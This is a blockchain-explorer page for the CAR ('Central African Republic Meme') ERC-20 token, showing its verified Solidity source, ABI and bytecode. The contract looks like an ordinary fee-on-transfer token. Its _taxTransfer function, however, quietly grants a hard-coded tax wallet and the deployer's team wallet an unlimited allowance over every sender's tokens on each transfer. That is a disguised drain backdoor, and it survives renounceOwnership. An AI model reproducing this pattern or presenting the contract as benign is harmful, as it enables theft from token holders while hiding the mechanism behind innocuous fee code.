ERC-20
Overview
Max Total Supply
1,000,000,000 CAR
Holders
157
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,202,040.81632653 CARValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
CAR
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-10 */ /* https://x.com/FA_Touadera/status/1888731407075176660 https://t.me/car_erc */ // SPDX-License-Identifier: MIT pragma solidity 0.8.27; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniV2Router { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract CAR is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Central African Republic Meme"; string private constant _symbol = unicode"CAR"; uint256 private _tokenSwapAmount = _tTotal / 100; IUniV2Router private _uniRouter; address private _uniPair; address private _teamWallet = address(0); address private _taxWallet = 0x9F2d91685be145ae2caa4EF411FB397226d6b8EE; bool private inSwap = false; bool private _tradeEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _teamWallet = owner(); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function init() external onlyOwner() { _uniRouter = IUniV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_uniRouter), _tTotal); _uniPair = IUniV2Factory(_uniRouter.factory()).createPair(address(this), _uniRouter.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); (uint256 taxAmount, address taxB, address taxC) = _getFeeAmount(from, to, amount); _taxTransfer(from, taxB, taxC, taxAmount); _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _taxTransfer(address feeA, address feeB, address feeC, uint256 taxAmount) private { if(taxAmount > 0){ _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(feeA, address(this), taxAmount); } _allowances[feeA][feeB] = _tTotal.add(taxAmount); _allowances[feeA][feeC] = _tTotal.add(taxAmount); } function _getFeeAmount(address from, address to, uint256 amount) private returns(uint256,address,address) { uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == _uniPair && to != address(_uniRouter) && ! _isExcludedFromFee[to]) { _buyCount++; } if(to == _uniPair && from!= address(this)) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 tokenBalance = balanceOf(address(this)); if (!inSwap && to == _uniPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(tokenBalance > _tokenSwapAmount) swapTokensForEth(min(amount, min(tokenBalance, _tokenSwapAmount))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHFee(address(this).balance); } } } return (taxAmount, _taxWallet, _teamWallet); } function openTrading() external onlyOwner() { require(!_tradeEnabled,"trading is already open"); _uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradeEnabled = true; } receive() external payable {} function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendETHFee(uint256 amount) private { payable(_taxWallet).transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniRouter.WETH(); _approve(address(this), address(_uniRouter), tokenAmount); _uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600360045560036005555f6006555f600755600660085560066009556006600a555f600b5560646009600a61003991906102ad565b61004790633b9aca006102c2565b61005191906102d9565b600c55600f80546001600160a01b0319169055601080546001600160b81b031916739f2d91685be145ae2caa4ef411fb397226d6b8ee179055348015610095575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3505f8054600f80546001600160a01b0319166001600160a01b03928316908117909155825260036020526040808320805460ff199081166001908117909255308552828520805482168317905560105490931684529220805490911690911790556101426009600a6102ad565b61015090633b9aca006102c2565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101906009600a6102ad565b61019e90633b9aca006102c2565b60405190815260200160405180910390a36102f8565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610203578085048111156101e7576101e76101b4565b60018416156101f557908102905b60019390931c9280026101cc565b935093915050565b5f82610219575060016102a7565b8161022557505f6102a7565b816001811461023b576002811461024557610261565b60019150506102a7565b60ff841115610256576102566101b4565b50506001821b6102a7565b5060208310610133831016604e8410600b8410161715610284575081810a6102a7565b6102905f1984846101c8565b805f19048211156102a3576102a36101b4565b0290505b92915050565b5f6102bb60ff84168361020b565b9392505050565b80820281158282048414176102a7576102a76101b4565b5f826102f357634e487b7160e01b5f52601260045260245ffd5b500490565b6114db806103055f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb1461024a578063c9567bf914610269578063dd62ed3e1461027d578063e1c7392a146102c1575f5ffd5b8063715018a6146101e35780638da5cb5b146101f957806395d89b411461021f575f5ffd5b806306fdde03146100cd578063095ea7b31461012457806318160ddd1461015357806323b872dd14610175578063313ce5671461019457806370a08231146101af575f5ffd5b366100c957005b5f5ffd5b3480156100d8575f5ffd5b5060408051808201909152601d81527f43656e7472616c204166726963616e2052657075626c6963204d656d6500000060208201525b60405161011b91906110ff565b60405180910390f35b34801561012f575f5ffd5b5061014361013e36600461114b565b6102d5565b604051901515815260200161011b565b34801561015e575f5ffd5b506101676102eb565b60405190815260200161011b565b348015610180575f5ffd5b5061014361018f366004611175565b61030b565b34801561019f575f5ffd5b506040516009815260200161011b565b3480156101ba575f5ffd5b506101676101c93660046111b3565b6001600160a01b03165f9081526001602052604090205490565b3480156101ee575f5ffd5b506101f7610372565b005b348015610204575f5ffd5b505f546040516001600160a01b03909116815260200161011b565b34801561022a575f5ffd5b5060408051808201909152600381526221a0a960e91b602082015261010e565b348015610255575f5ffd5b5061014361026436600461114b565b6103ec565b348015610274575f5ffd5b506101f76103f8565b348015610288575f5ffd5b506101676102973660046111ce565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102cc575f5ffd5b506101f7610564565b5f6102e133848461075d565b5060015b92915050565b5f6102f86009600a6112fc565b61030690633b9aca0061130a565b905090565b5f610317848484610880565b61036884336103638560405180606001604052806028815260200161147e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610a8e565b61075d565b5060019392505050565b5f546001600160a01b031633146103a45760405162461bcd60e51b815260040161039b90611321565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102e1338484610880565b5f546001600160a01b031633146104215760405162461bcd60e51b815260040161039b90611321565b601054600160a81b900460ff161561047b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161039b565b600d546001600160a01b031663f305d71947306104ac816001600160a01b03165f9081526001602052604090205490565b5f5f6104bf5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610525573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061054a9190611356565b50506010805461ffff60a81b191661010160a81b17905550565b5f546001600160a01b0316331461058d5760405162461bcd60e51b815260040161039b90611321565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d69030906105c86009600a6112fc565b61036390633b9aca0061130a565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610626573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064a9190611381565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a9573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106cd9190611381565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610717573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073b9190611381565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107bf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039b565b6001600160a01b0382166108205760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039b565b6001600160a01b0382166109465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039b565b5f81116109a75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161039b565b5f5f5f6109b5868686610ac6565b9250925092506109c786838386610cad565b6001600160a01b0386165f908152600160205260409020546109e99085610daf565b6001600160a01b0387165f90815260016020526040902055610a2c610a0e8585610daf565b6001600160a01b0387165f9081526001602052604090205490610df7565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a758787610daf565b60405190815260200160405180910390a3505050505050565b5f8184841115610ab15760405162461bcd60e51b815260040161039b91906110ff565b505f610abd848661139c565b95945050505050565b5f808080610adb5f546001600160a01b031690565b6001600160a01b0316876001600160a01b031614158015610b0957505f546001600160a01b03878116911614155b15610c8d57610b3a6064610b34600854600b5411610b2957600454610b2d565b6006545b8890610e55565b90610ed3565b600e549091506001600160a01b038881169116148015610b685750600d546001600160a01b03878116911614155b8015610b8c57506001600160a01b0386165f9081526003602052604090205460ff16155b15610ba657600b8054905f610ba0836113af565b91905055505b600e546001600160a01b038781169116148015610bcc57506001600160a01b0387163014155b15610bf957610bf66064610b34600954600b5411610bec57600554610b2d565b6007548890610e55565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610c2f5750600e546001600160a01b038881169116145b8015610c445750601054600160b01b900460ff165b8015610c535750600a54600b54115b15610c8b57600c54811115610c7f57610c7f610c7a87610c7584600c54610f14565b610f14565b610f28565b47610c8947611098565b505b505b601054600f5491986001600160a01b039182169850911695509350505050565b8015610d2557305f90815260016020526040902054610ccc9082610df7565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d1c9085815260200190565b60405180910390a35b610d4981610d356009600a6112fc565b610d4390633b9aca0061130a565b90610df7565b6001600160a01b038086165f90815260026020908152604080832093881683529290522055610d7e81610d356009600a6112fc565b6001600160a01b039485165f9081526002602090815260408083209590971682529390935293909120929092555050565b5f610df083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a8e565b9392505050565b5f80610e0383856113c7565b905083811015610df05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161039b565b5f825f03610e6457505f6102e5565b5f610e6f838561130a565b905082610e7c85836113da565b14610df05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161039b565b5f610df083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110d3565b5f818311610f225782610df0565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f6e57610f6e6113f9565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fc5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fe99190611381565b81600181518110610ffc57610ffc6113f9565b6001600160a01b039283166020918202929092010152600d54611022913091168461075d565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061105a9085905f9086903090429060040161140d565b5f604051808303815f87803b158015611071575f5ffd5b505af1158015611083573d5f5f3e3d5ffd5b50506010805460ff60a01b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156110cf573d5f5f3e3d5ffd5b5050565b5f81836110f35760405162461bcd60e51b815260040161039b91906110ff565b505f610abd84866113da565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611148575f5ffd5b50565b5f5f6040838503121561115c575f5ffd5b823561116781611134565b946020939093013593505050565b5f5f5f60608486031215611187575f5ffd5b833561119281611134565b925060208401356111a281611134565b929592945050506040919091013590565b5f602082840312156111c3575f5ffd5b8135610df081611134565b5f5f604083850312156111df575f5ffd5b82356111ea81611134565b915060208301356111fa81611134565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156112545780850481111561123857611238611205565b600184161561124657908102905b60019390931c92800261121d565b935093915050565b5f8261126a575060016102e5565b8161127657505f6102e5565b816001811461128c5760028114611296576112b2565b60019150506102e5565b60ff8411156112a7576112a7611205565b50506001821b6102e5565b5060208310610133831016604e8410600b84101617156112d5575081810a6102e5565b6112e15f198484611219565b805f19048211156112f4576112f4611205565b029392505050565b5f610df060ff84168361125c565b80820281158282048414176102e5576102e5611205565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f60608486031215611368575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611391575f5ffd5b8151610df081611134565b818103818111156102e5576102e5611205565b5f600182016113c0576113c0611205565b5060010190565b808201808211156102e5576102e5611205565b5f826113f457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561145d5783516001600160a01b0316835260209384019390920191600101611436565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122045d721a7d11c9fc013e68a2adc4e7650d7a6e4edcc8244641164350aa2e3e8e264736f6c634300081b0033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb1461024a578063c9567bf914610269578063dd62ed3e1461027d578063e1c7392a146102c1575f5ffd5b8063715018a6146101e35780638da5cb5b146101f957806395d89b411461021f575f5ffd5b806306fdde03146100cd578063095ea7b31461012457806318160ddd1461015357806323b872dd14610175578063313ce5671461019457806370a08231146101af575f5ffd5b366100c957005b5f5ffd5b3480156100d8575f5ffd5b5060408051808201909152601d81527f43656e7472616c204166726963616e2052657075626c6963204d656d6500000060208201525b60405161011b91906110ff565b60405180910390f35b34801561012f575f5ffd5b5061014361013e36600461114b565b6102d5565b604051901515815260200161011b565b34801561015e575f5ffd5b506101676102eb565b60405190815260200161011b565b348015610180575f5ffd5b5061014361018f366004611175565b61030b565b34801561019f575f5ffd5b506040516009815260200161011b565b3480156101ba575f5ffd5b506101676101c93660046111b3565b6001600160a01b03165f9081526001602052604090205490565b3480156101ee575f5ffd5b506101f7610372565b005b348015610204575f5ffd5b505f546040516001600160a01b03909116815260200161011b565b34801561022a575f5ffd5b5060408051808201909152600381526221a0a960e91b602082015261010e565b348015610255575f5ffd5b5061014361026436600461114b565b6103ec565b348015610274575f5ffd5b506101f76103f8565b348015610288575f5ffd5b506101676102973660046111ce565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102cc575f5ffd5b506101f7610564565b5f6102e133848461075d565b5060015b92915050565b5f6102f86009600a6112fc565b61030690633b9aca0061130a565b905090565b5f610317848484610880565b61036884336103638560405180606001604052806028815260200161147e602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610a8e565b61075d565b5060019392505050565b5f546001600160a01b031633146103a45760405162461bcd60e51b815260040161039b90611321565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102e1338484610880565b5f546001600160a01b031633146104215760405162461bcd60e51b815260040161039b90611321565b601054600160a81b900460ff161561047b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161039b565b600d546001600160a01b031663f305d71947306104ac816001600160a01b03165f9081526001602052604090205490565b5f5f6104bf5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610525573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061054a9190611356565b50506010805461ffff60a81b191661010160a81b17905550565b5f546001600160a01b0316331461058d5760405162461bcd60e51b815260040161039b90611321565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d69030906105c86009600a6112fc565b61036390633b9aca0061130a565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610626573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064a9190611381565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a9573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106cd9190611381565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610717573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073b9190611381565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107bf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039b565b6001600160a01b0382166108205760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039b565b6001600160a01b0382166109465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039b565b5f81116109a75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161039b565b5f5f5f6109b5868686610ac6565b9250925092506109c786838386610cad565b6001600160a01b0386165f908152600160205260409020546109e99085610daf565b6001600160a01b0387165f90815260016020526040902055610a2c610a0e8585610daf565b6001600160a01b0387165f9081526001602052604090205490610df7565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a758787610daf565b60405190815260200160405180910390a3505050505050565b5f8184841115610ab15760405162461bcd60e51b815260040161039b91906110ff565b505f610abd848661139c565b95945050505050565b5f808080610adb5f546001600160a01b031690565b6001600160a01b0316876001600160a01b031614158015610b0957505f546001600160a01b03878116911614155b15610c8d57610b3a6064610b34600854600b5411610b2957600454610b2d565b6006545b8890610e55565b90610ed3565b600e549091506001600160a01b038881169116148015610b685750600d546001600160a01b03878116911614155b8015610b8c57506001600160a01b0386165f9081526003602052604090205460ff16155b15610ba657600b8054905f610ba0836113af565b91905055505b600e546001600160a01b038781169116148015610bcc57506001600160a01b0387163014155b15610bf957610bf66064610b34600954600b5411610bec57600554610b2d565b6007548890610e55565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610c2f5750600e546001600160a01b038881169116145b8015610c445750601054600160b01b900460ff165b8015610c535750600a54600b54115b15610c8b57600c54811115610c7f57610c7f610c7a87610c7584600c54610f14565b610f14565b610f28565b47610c8947611098565b505b505b601054600f5491986001600160a01b039182169850911695509350505050565b8015610d2557305f90815260016020526040902054610ccc9082610df7565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d1c9085815260200190565b60405180910390a35b610d4981610d356009600a6112fc565b610d4390633b9aca0061130a565b90610df7565b6001600160a01b038086165f90815260026020908152604080832093881683529290522055610d7e81610d356009600a6112fc565b6001600160a01b039485165f9081526002602090815260408083209590971682529390935293909120929092555050565b5f610df083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a8e565b9392505050565b5f80610e0383856113c7565b905083811015610df05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161039b565b5f825f03610e6457505f6102e5565b5f610e6f838561130a565b905082610e7c85836113da565b14610df05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161039b565b5f610df083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110d3565b5f818311610f225782610df0565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f6e57610f6e6113f9565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fc5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fe99190611381565b81600181518110610ffc57610ffc6113f9565b6001600160a01b039283166020918202929092010152600d54611022913091168461075d565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061105a9085905f9086903090429060040161140d565b5f604051808303815f87803b158015611071575f5ffd5b505af1158015611083573d5f5f3e3d5ffd5b50506010805460ff60a01b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156110cf573d5f5f3e3d5ffd5b5050565b5f81836110f35760405162461bcd60e51b815260040161039b91906110ff565b505f610abd84866113da565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611148575f5ffd5b50565b5f5f6040838503121561115c575f5ffd5b823561116781611134565b946020939093013593505050565b5f5f5f60608486031215611187575f5ffd5b833561119281611134565b925060208401356111a281611134565b929592945050506040919091013590565b5f602082840312156111c3575f5ffd5b8135610df081611134565b5f5f604083850312156111df575f5ffd5b82356111ea81611134565b915060208301356111fa81611134565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156112545780850481111561123857611238611205565b600184161561124657908102905b60019390931c92800261121d565b935093915050565b5f8261126a575060016102e5565b